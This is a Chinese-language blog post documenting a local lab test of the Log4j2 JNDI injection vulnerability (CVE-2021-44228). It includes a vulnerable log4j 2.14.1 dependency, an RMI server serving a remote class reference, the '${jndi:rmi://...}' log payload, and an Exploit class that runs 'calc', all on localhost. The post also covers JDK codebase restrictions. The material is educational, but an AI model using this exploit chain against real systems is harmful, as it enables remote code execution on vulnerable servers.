log4j2的JNDI注入简单测试

配环境的锅,这次走最基本的路子,以求maven爹别给我报错了。

这里版本是java8u101

首先要知道:

JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

这里用耳熟能详的log4j2漏洞开打:

pom.xml:

<dependencies>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
    </dependency>

    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.14.1</version>
    </dependency>
</dependencies>

RMIServer:

package com.jndibypass;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:8081/");
        ReferenceWrapper exploitWrapper = new ReferenceWrapper(exploit);
        registry.bind("exp", exploitWrapper);
    }
}

Log4j2RCEPoc:

package com.jndibypass;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2RCEPoc {
    public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);

    public static void main(String[] args) {
        LOGGER.error("${jndi:rmi://127.0.0.1:1099/exp}");
    }
}

需要编译成恶意class的恶意类Exploit:

public class Exploit {
    static {
        String cmd = "calc";
        final Process process;
        try {
            process = Runtime.getRuntime().exec(cmd);
            process.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

记得这里别用package,不然通不了,算小坑吧。

 

然后python起http服务,启动RMIServer,再启动受害Client:

我自己调的时候破案了,SDK原来用的JDK1.5,估计是这里导致的maven一直下不了包。

ldap同理,这里先不打了,直接回到还在写的blog中。

参考:

Log4j2的JNDI注入漏洞(CVE-2021-44228)原理分析与思考-CSDN博客

posted @ 2024-03-18 20:11  Eddie_Murphy  阅读(44)  评论(0编辑  收藏  举报